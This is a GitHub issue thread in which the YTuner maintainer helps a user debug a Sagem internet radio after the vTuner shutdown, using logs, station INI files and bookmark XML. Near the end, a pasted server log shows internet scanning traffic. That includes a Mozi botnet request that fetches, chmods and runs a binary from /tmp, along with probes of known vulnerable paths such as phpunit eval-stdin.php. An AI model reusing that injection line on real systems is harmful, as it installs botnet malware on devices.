It would be good to catch "working" TCP/HTTP frames between your device and the original vtuner service. Is there such as possibility?

@Broukmiken
Copy link
Author

Broukmiken commented Jan 26, 2025

It looks like your MyDualRadio use different communication XMLs than other AVRs. Probably your device does not quite understand reveived XML messages... a specially such as <StationUrl>http://mp3.ffh.de/ffhchannels/hqeurodance.mp3</StationUrl> 🤔 It would be good to catch "working" TCP/HTTP frames between your device and the original vtuner service. Is there such as possibility?

Yes, before VTUNER stop working, i added as " favorites" few web radios that i can still listen.
here is what is catched with a working webradio, and still using your server

@coffeegreg
Copy link
Owner

coffeegreg commented Jan 26, 2025

Try to cach TCP/HTTP only. Save it to pcap file and place here.

Yes, before VTUNER stop working, i added as " favorites" few web radios that i can still listen.

Did you loose browse functionality (possible to catch all "original" XML communication structures)?

@Broukmiken
Copy link
Author

Broukmiken commented Jan 26, 2025

i tried to make a filter :
ether host xx:xx:xx:xx:xx:xx and tcp port http but doesn't work
so i captured this file with 2 working webradios with only ether host xx:xx:xx:xx:xx:xx filter and your server

so ,could you tell me how to write the right filter for mac adress of mydualradio and to catch it's http tcp protocols ?

Did you loose browse functionality (possible to catch all "original" XML communication structures)?
yes, vtuner dosen't work, so i can't get access to countries,music styles ...

@coffeegreg
Copy link
Owner

Unfortunately, there is nothing except calling the audio stream of the ns.radiart.eu station 😞
Image
It will be extremely difficult to guess what XML tag format or name your device needs...
At the moment nothing comes to my mind... maybe in the next few days I'll look for something on the web, but your device is probably not very popular and I don't know if I'll be able to find anything.

@Broukmiken
Copy link
Author

Broukmiken commented Jan 26, 2025

can the firmware in .bin interrest you ?

@coffeegreg
Copy link
Owner

Not really. In fact I found some XMLs inside but I don't recognize anything that would indicate their use for communication with vtuner... maybe more for remote control of the device itself or for communication with Sagem web repository for update firmware process. The rest of bin file seems to be a bit graphics and some packed(?) content.

@coffeegreg
Copy link
Owner

@Broukmiken
Try to add new radio station to any existing category to stations.ini file with this line :
SKY RADIO=http://radio567.vtuner.com/setupapp/radio567/asp/func/dynamOD.asp?id=592
Restart YTuner, restart your Sagem device and try to navigate to this new station and try to select/play it. 🤔

@Broukmiken
Copy link
Author

Broukmiken commented Jan 26, 2025

unfortunally: nothing happens

26/01/2025 21:52:42 : Dbg : DNS Query intercept : amit.vtuner.com.
26/01/2025 21:52:43 : Dbg : GET /setupapp/amit/asp/BrowseXML/loginXML.asp?token=0.
26/01/2025 21:52:43 : Dbg : GET /setupapp/amit/asp/BrowseXML/loginXML.asp?mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 21:52:45 : Dbg : GET //192.168.1.2/ytuner/mystations?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 21:52:45 : Dbg : First element of page with index: "-1"?.
26/01/2025 21:52:45 : Dbg : Last element of page with index: "-1".
26/01/2025 21:52:49 : Dbg : GET //192.168.1.2/ytuner/mystations/Dance?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 21:52:49 : Dbg : First element of page with index: "-1"?.
26/01/2025 21:52:49 : Dbg : Last element of page with index: "-1".
26/01/2025 21:55:05 : Dbg : GET /ytuner/mystations/Dance?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333..
26/01/2025 21:55:05 : Dbg : First element of page with index: "-1"?.
26/01/2025 21:55:05 : Dbg : Last element of page with index: "-1".
26/01/2025 21:58:56 : Dbg : Unknown route : GET /.
26/01/2025 21:59:00 : Dbg : Unknown route : GET /.
26/01/2025 21:59:00 : Dbg : Unknown route : PRI *.

@coffeegreg
Copy link
Owner

coffeegreg commented Jan 26, 2025

This unfortunately confirms that your Segem is not sending any request to the radio station at all. If it even tried we would get something in the YTuner's log because every reference to *vtuner.com as in the case of the above station would end up in the YTuner log because YTuner act as *vtuner.com.
Do you know what does mean this "question mark" icon in menu left on station's name ?

But wait a minute ... what is this :

26/01/2025 21:58:56 : Dbg : Unknown route : GET /.
26/01/2025 21:59:00 : Dbg : Unknown route : GET /.
26/01/2025 21:59:00 : Dbg : Unknown route : PRI *.

❓ PRI ❓ ... HTTP/2 ❓ 👀

@Broukmiken
Copy link
Author

Broukmiken commented Jan 26, 2025

When i use my favorites, previously saved many months ago , webradios are shown like this
20250126_220647.jpg

This Sagem hardware never shows any webradio's name icon.
Only this music icon

@coffeegreg
Copy link
Owner

coffeegreg commented Jan 26, 2025

I suspect that this menu with 181.fm you are showing is some kind of build-in device and can't be captured with Wireshark?
Your device make some kind of "check" and with some problem try to display question mark icon not a note icon ... 🤔

@Broukmiken
Copy link
Author

Broukmiken commented Jan 26, 2025

i can launch and listen those webradios i saved in another menu's item
i can use wireshark.
no log from ytuner because i'm using a webradio in my own menu's item but ytuner is running

same test:
your alpha server's running on my PC
my sagem device with gateway and DNS as my PC's IP

@coffeegreg
Copy link
Owner

There is nothing in this pcap file except start playing http://listen.181fm.com/181-90sdance_128k.mp3
Did you start capture packets before you entered into this "Toutes" menu ? I'm interested in packets related to this enter "Toutes" menu action ... or this is some kind of build-in menu and there is not any network communication related with this action 🤔

@Broukmiken
Copy link
Author

Broukmiken commented Jan 26, 2025

i don't remember, so i'm going to put 2 logs and records of wireshark

i launched wireshark, then reboot Sagem device, goes to my favorites webradios and launched one.

i think those webradios are already saved, like shortcuts, so this does'nt interract with vtuner... only launch the stream

i have no way to test something that could interract with vtuner... the only item that uses this was to to browse the database of vtuner webradios, sorted by countries,styles,names... and this item can't be reached because vtuner stopped his service

if i use your server, this item is replaced by yours , i mean , ytuner with your text

and i don't know how to use wireshark without your server.
gateway : 192.168.1.2
perhaps could i set the DNS always as 192.168.1.2 but without launching your server... perhaps wireshark can catch something when trying to reach the vtuner item : here is the log but when i try to launch this item that uses Vtuner, nothing happens, it's freezed

@coffeegreg
Copy link
Owner

coffeegreg commented Jan 26, 2025

You're right. It looks like this menu content is build in your device and there is no network interaction with vtuner service, 😞
Enough for today... tomorrow I have to work.
As I mentioned before, I'll try to search the web but I don't know if I'll be able to find anything.

@Broukmiken
Copy link
Author

thanks so much trying your best with my project
you wast so much time trying to make it work.. i'm so sorry...
if the service comes back, i will do wireshark to get things... we never know....
good night

@coffeegreg
Copy link
Owner

Don't worry... I've learned a lot from cases like this one.
If the service comes back try to catch as much TCP/HTTP frames as you can 👍

@coffeegreg coffeegreg added the help wanted Extra attention is needed label Jan 26, 2025
@coffeegreg
Copy link
Owner

coffeegreg commented Jan 27, 2025

@Broukmiken
Try to remove http:// or https:// of stations URL from stations.ini file and check it. 🤔 Try to remove logo station links too.
Use simplified file :

[Dance]
Station 1=http://mp3.ffh.de/ffhchannels/hqeurodance.mp3
Station 2=https://c6.auracast.net/radio/8090/radio.mp3

[Pop Music]
Station 3=http://stream.antenne.de/antenne/stream/mp3

[Rock]
Station 4=http://icecast5.play.cz/radiobeat128.mp3

after that try this :

[Dance]
Station 1=mp3.ffh.de/ffhchannels/hqeurodance.mp3
Station 2=c6.auracast.net/radio/8090/radio.mp3

[Pop Music]
Station 3=stream.antenne.de/antenne/stream/mp3

[Rock]
Station 4=icecast5.play.cz/radiobeat128.mp3

🤔

@Broukmiken
Copy link
Author

hello,thank you taking time and energy to try to solve the issue
unfortunally, it's the same : no sound, same icon " ? "

and here is the log

27/01/2025 21:17:33 : Dbg : GET /setupapp/amit/asp/BrowseXML/loginXML.asp?token=0.
27/01/2025 21:17:34 : Dbg : GET /setupapp/amit/asp/BrowseXML/loginXML.asp?mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
27/01/2025 21:17:36 : Dbg : GET //192.168.1.2/ytuner/mystations?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
27/01/2025 21:17:36 : Dbg : First element of page with index: "-1"?.
27/01/2025 21:17:36 : Dbg : Last element of page with index: "-1".
27/01/2025 21:17:40 : Dbg : GET //192.168.1.2/ytuner/mystations/kagou?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
27/01/2025 21:17:40 : Dbg : First element of page with index: "-1"?.
27/01/2025 21:17:40 : Dbg : Last element of page with index: "-1".
27/01/2025 21:17:55 : Dbg : GET //192.168.1.2/ytuner/mystations?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
27/01/2025 21:17:55 : Dbg : First element of page with index: "-1"?.
27/01/2025 21:17:55 : Dbg : Last element of page with index: "-1".

@coffeegreg
Copy link
Owner

I won't give up that easily. If I come up with another idea, I'll let you know. 👍

@coffeegreg
Copy link
Owner

@Broukmiken
Another approach ... 🤔
Unzip attached zip file and place bookmark.xml file into YTuner's config subdir.
Make sure you have CommonBookmark=1 in [Bookmark] section of ytuner.ini file.
Restart YTuner, restart your Sagem device. Enter into Favourites (or Bookmark) menu ... what do you see ? Can you select/play some station ?

bookmark.zip

@Broukmiken
Copy link
Author

hello Coffegreg, here is the log:
nothing is shown in the section...

YTuner v1.2.5 alpha2 + Fix (issue #53) Attempt#1 Copyright (c) 2024 Greg P. (https://github.com/coffeegreg)
28/01/2025 21:37:41 : Inf : Starting services...
28/01/2025 21:37:41 : Inf : Successfully loaded 10 my stations.
28/01/2025 21:37:41 : Dbg : Database library : 3.45.0.
28/01/2025 21:37:41 : Inf : Checking local database.
28/01/2025 21:37:41 : Inf : Local database is ready.
28/01/2025 21:37:41 : Inf : DNS Service: listening on: 192.168.1.2:53.
28/01/2025 21:37:41 : Inf : Web Service: listening on: 192.168.1.2:80.
28/01/2025 21:37:45 : Dbg : GET /setupapp/amit/asp/BrowseXML/loginXML.asp?mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
28/01/2025 21:37:52 : Dbg : GET //192.168.1.2/ytuner/bookmark?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
28/01/2025 21:37:52 : Dbg : First element of page with index: "-1"?.
28/01/2025 21:37:52 : Dbg : Last element of page with index: "-1".
28/01/2025 21:37:52 : Err : Bookmark error [GetBookmark] (Access violation) .

@coffeegreg
Copy link
Owner

What about this one :

<?xml version="1.0" encoding="utf-8"?>
<ListOfItems>
  <ItemCount>2</ItemCount>
  <Item>
    <ItemType>Station</ItemType>
    <StationId>MSB4D340EF72C00</StationId>
    <StationName>Splash 90s Dance</StationName>
    <StationUrl>http://c6.auracast.net/radio/8090/radio.mp3</StationUrl>
    <StationDesc>Dance</StationDesc>
    <Logo>http://ytunerhost:80/ytuner/icon?id=MS_4D340EF72C00</Logo>
    <StationFormat>Dance</StationFormat>
    <StationLocation/>
    <StationBandWidth/>
    <StationMime/>
    <Relia>3</Relia>
    <Bookmark>http://ytunerhost:80/setupapp/favxml.asp?id=MS_4D340EF72C00&amp;fav=del</Bookmark>
  </Item>
  <Item>
    <ItemType>Station</ItemType>
    <StationId>MSB534A591AB545</StationId>
    <StationName>FFH - Eurodance</StationName>
    <StationUrl>http://mp3.ffh.de/ffhchannels/hqeurodance.mp3</StationUrl>
    <StationDesc>Dance</StationDesc>
    <Logo>http://ytunerhost:80/ytuner/icon?id=MS_534A591AB545</Logo>
    <StationFormat>Dance</StationFormat>
    <StationLocation/>
    <StationBandWidth/>
    <StationMime/>
    <Relia>3</Relia>
    <Bookmark>http://ytunerhost:80/setupapp/favxml.asp?id=MS_534A591AB545&amp;fav=del</Bookmark>
  </Item>
</ListOfItems>

@Broukmiken
Copy link
Author

Broukmiken commented Jan 28, 2025

Nothing happens when i select : no newer screen, no sound...

20250128_215210.jpg

28/01/2025 21:51:23 : Dbg : DNS Query intercept : amit.vtuner.com.
28/01/2025 21:51:23 : Dbg : GET /setupapp/amit/asp/BrowseXML/loginXML.asp?token=0.
28/01/2025 21:51:23 : Dbg : GET /setupapp/amit/asp/BrowseXML/loginXML.asp?mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
28/01/2025 21:51:25 : Dbg : GET //192.168.1.2/ytuner/bookmark?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
28/01/2025 21:51:25 : Dbg : First element of page with index: "-1"?.
28/01/2025 21:51:25 : Dbg : Last element of page with index: "-1".

@Broukmiken
Copy link
Author

Broukmiken commented Jan 28, 2025

something i tested and it's better that before

28/01/2025 21:59:37 : Dbg : GET /setupapp/amit/asp/BrowseXML/loginXML.asp?token=0.
28/01/2025 21:59:38 : Dbg : GET /setupapp/amit/asp/BrowseXML/loginXML.asp?mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
28/01/2025 21:59:39 : Dbg : GET //192.168.1.2/ytuner/bookmark?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
28/01/2025 21:59:39 : Dbg : First element of page with index: "-1"?.
28/01/2025 21:59:39 : Dbg : Last element of page with index: "-1".

<?xml version="1.0" encoding="utf-8"?> <ListOfItems> <ItemCount>2</ItemCount> <Item> <ItemType>Station</ItemType> <StationId>MSB4D340EF72C00</StationId> <StationName>Splash 90s Dance</StationName> <StationUrl>http://c6.auracast.net/radio/8090/radio.mp3</StationUrl> <StationDesc>Dance</StationDesc> <Logo>http://ytunerhost:80/ytuner/icon?id=MS_4D340EF72C00</Logo> <StationFormat>Dance</StationFormat> <StationLocation/> <StationBandWidth/> <StationMime/> <Relia>3</Relia> <Bookmark>http://ytunerhost:80/setupapp/favxml.asp?id=MS_4D340EF72C00&amp;fav=del</Bookmark> </Item> <Item> <ItemType>Station</ItemType> <StationId>MSB534A591AB545</StationId> <StationName>FFH - Eurodance</StationName> <StationUrl>http://mp3.ffh.de/ffhchannels/hqeurodance.mp3</StationUrl> <StationDesc>Dance</StationDesc> <Logo>http://ytunerhost:80/ytuner/icon?id=MS_534A591AB545</Logo> <StationFormat>Dance</StationFormat> <StationLocation>France &gt; Paris</StationLocation> <StationBandWidth>128</StationBandWidth> <StationMime>MP3</StationMime> <Relia>5</Relia> <Bookmark>http://ytunerhost:80/setupapp/favxml.asp?id=MS_534A591AB545&amp;fav=del</Bookmark> </Item> </ListOfItems>

20250128_215957.jpg

20250128_220015.jpg

20250128_220035.jpg

@coffeegreg
Copy link
Owner

coffeegreg commented Jan 28, 2025

You can try to ... add/remove/change some values of this xml ... i.e.

<StationFormat>mp3</StationFormat>
or
StationLocation>France</StationLocation>
or
<StationBandWidth>128</StationBandWidth>
or
<StationBandWidth>128k</StationBandWidth>
or
<StationMime>MP3<StationMime/>

or .... anything else what comes to your mind 🤔
Try ... try ... try. Maybe you'll get lucky and find something that will solve the problem.
If I come up with another idea, I'll let you know.

Try to figure out which option is "suspected" and make a lot of test 👍 Don't give up 👍

@Broukmiken
Copy link
Author

the ket of the issue is perhaps near... thanks so much, i'm going to try many ways to write this xml
by the way, how do you get the station id ?

@coffeegreg
Copy link
Owner

Station ID is generated by YTuner and this is something different than original vtuner's ID.
Remeber to use UTF-8 to encoding this XML (use notepad++)
Good luck 👍

@coffeegreg
Copy link
Owner

@Broukmiken
Any progress ...?

@Broukmiken
Copy link
Author

Broukmiken commented Jan 29, 2025

hello,
i just come back from my job.

there is a log, the radio was doing things while i wasn't at home...
is someone trying to hack me ???
Mozi.m
hetong.js
what's that...

29/01/2025 10:57:45 : Dbg : Unknown route : GET /.
29/01/2025 11:07:56 : Dbg : Unknown route : GET /.
29/01/2025 11:31:41 : Dbg : Unknown route : GET /.
29/01/2025 11:55:04 : Dbg : Unknown route : GET /.
29/01/2025 12:01:00 : Dbg : Unknown route : GET /.
29/01/2025 12:07:20 : Dbg : Unknown route : ??????L?>?????~Z??n??"6?s??h???/?+?0?,???'?#?? ?(?$??
???gk39??<=/5?
28@fj??5

? .
29/01/2025 12:21:59 : Dbg : Unknown route : GET /.
29/01/2025 12:22:01 : Dbg : Unknown route : GET /Public/home/js/check.js.
29/01/2025 12:22:03 : Dbg : Unknown route : GET /static/admin/javascript/hetong.js.
29/01/2025 12:22:09 : Dbg : Unknown route : GET /.
29/01/2025 12:33:50 : Dbg : Unknown route : GET /.
29/01/2025 12:36:25 : Dbg : Unknown route : GET /.
29/01/2025 12:44:54 : Dbg : Unknown route : 27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$ HTTP/1.0.
29/01/2025 13:02:18 : Dbg : Unknown route : GET /.
29/01/2025 13:07:32 : Dbg : Unknown route : GET /.
29/01/2025 13:08:06 : Dbg : Unknown route : GET /.
29/01/2025 13:13:02 : Dbg : Unknown route : POST /Autodiscover/Autodiscover.xml.
29/01/2025 13:14:48 : Dbg : Unknown route : POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php.
29/01/2025 13:24:20 : Dbg : Unknown route : GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php.
29/01/2025 13:27:06 : Dbg : Unknown route : GET /solr/admin/info/system?wt=json.
29/01/2025 13:35:02 : Dbg : Unknown route : GET /?XDEBUG_SESSION_START=phpstorm.
29/01/2025 13:38:45 : Dbg : Unknown route : GET /.
29/01/2025 13:39:33 : Dbg : Unknown route : GET /.
29/01/2025 13:48:48 : Dbg : Unknown route : GET /.
29/01/2025 13:48:51 : Dbg : Unknown route : GET /.
29/01/2025 13:48:51 : Dbg : Unknown route : PRI *.
29/01/2025 14:06:31 : Dbg : Unknown route : GET /.
29/01/2025 14:06:32 : Dbg : Unknown route : GET /.
29/01/2025 14:09:09 : Dbg : Unknown route : GET /.
29/01/2025 14:12:47 : Dbg : Unknown route : GET /console/.
29/01/2025 14:16:28 : Dbg : Unknown route : GET /_ignition/execute-solution.
29/01/2025 14:21:42 : Dbg : Unknown route : GET /.
29/01/2025 14:23:24 : Dbg : Unknown route : GET /.
29/01/2025 14:24:31 : Dbg : Unknown route : GET /.
r=??R<Ï9?O??L???e??j␦?/?+????nkn??n route : {w/j(
/5?
4

? .
29/01/2025 14:31:18 : Dbg : Unknown route : GET /actuator/gateway/routes.
29/01/2025 14:33:58 : Dbg : Unknown route : GET /.
29/01/2025 14:34:06 : Dbg : Unknown route : GET /.
29/01/2025 14:58:22 : Dbg : Unknown route : GET /geoserver.
29/01/2025 15:17:23 : Dbg : Unknown route : GET /.
29/01/2025 16:03:26 : Dbg : Unknown route : GET /.
29/01/2025 16:08:56 : Dbg : Unknown route : GET /actuator/health.
29/01/2025 16:17:57 : Dbg : Unknown route : GET /.
29/01/2025 16:34:55 : Dbg : Unknown route : GET /.
29/01/2025 16:52:03 : Dbg : Unknown route : GET /.
29/01/2025 16:52:37 : Dbg : Unknown route : GET /.
29/01/2025 16:56:17 : Dbg : Unknown route : GET /.
29/01/2025 17:07:28 : Dbg : Unknown route : GET /.
29/01/2025 17:39:55 : Dbg : Unknown route : GET /.
29/01/2025 17:40:15 : Dbg : Unknown route : GET /.
29/01/2025 18:11:23 : Dbg : Unknown route : GET /.
29/01/2025 18:11:26 : Dbg : Unknown route : GET /.
29/01/2025 18:11:26 : Dbg : Unknown route : PRI *.

@coffeegreg
Copy link
Owner

It looks like something/someone try to connect to you YTuner machine on TCP/80. Use netstat -n or Wireshark to find out ... what/who is "knocking" to you 😉

@coffeegreg
Copy link
Owner

@Broukmiken
Do you have any observations and conclusions from your tests that you could share?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
help wanted Extra attention is needed
Projects
None yet
Development

No branches or pull requests

2 participants